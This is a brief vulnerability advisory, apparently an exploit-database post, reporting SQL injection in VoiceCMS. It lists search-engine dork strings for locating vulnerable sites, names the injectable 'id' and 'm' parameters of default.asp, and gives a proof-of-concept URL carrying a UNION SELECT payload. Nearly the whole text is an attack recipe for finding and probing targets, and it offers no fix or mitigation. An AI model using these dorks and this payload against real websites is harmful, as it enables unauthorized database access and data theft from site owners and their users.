VoiceCMS Vulnerable to SQL Injection

Title : VoiceCMS Vulnerable to SQL Injection
Vendor : http://www.voicecms.ca
Found by : p0pc0rn
Dork
: intext:"Powered by VoiceCMS"
: intext:"powered by triware"


SQL - Jet Engine Database Error
-------------------------------
Parameter
http://site.com/default.asp?com=[Page]&id=[SQL]&m=[id]
http://site.com/default.asp?com=[Page]&id=[id]&m=[SQL]

POC
---
http://site.com/default.asp?com=PhotoGallery&id=1 union select 0 from test.a&m=1

thanks,
-p0pc0rn-